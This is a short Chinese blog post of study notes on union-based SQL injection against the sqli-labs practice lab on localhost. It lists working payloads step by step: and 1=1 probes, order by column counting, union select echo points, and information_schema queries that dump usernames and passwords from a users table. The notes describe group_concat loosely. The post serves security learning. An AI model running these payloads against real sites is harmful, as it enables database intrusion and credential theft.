1、判断有无注入点

使用and 1=1 测试

随便输入内容不报错:没有注入点

随意输入内容报错了:有注入点

2、猜解列名

order by 1/2/3/4...出现报错的前一个就是列名的数量

3、报错,判断回显点 union

?id = 1 union select 1,2,3...

上一步确定了字段数量,因为union的特性前后查询的列的数量要一致。

4、信息收集

5、使用对应的sql注入

获取密码使用数据库库名:security

在information_schema库中查找

http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

group_concat去重分组函数

查看security库中的表

 查询表中的字段

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'

 查询账号密码

union select 1,(select group_concat(username,0x3a,password)from users),3

或者union select 1, group_concat(username,0x3a,password),3 from users

 

posted on 2023-10-27 17:10  na2co3-  阅读(23)  评论(0)    收藏  举报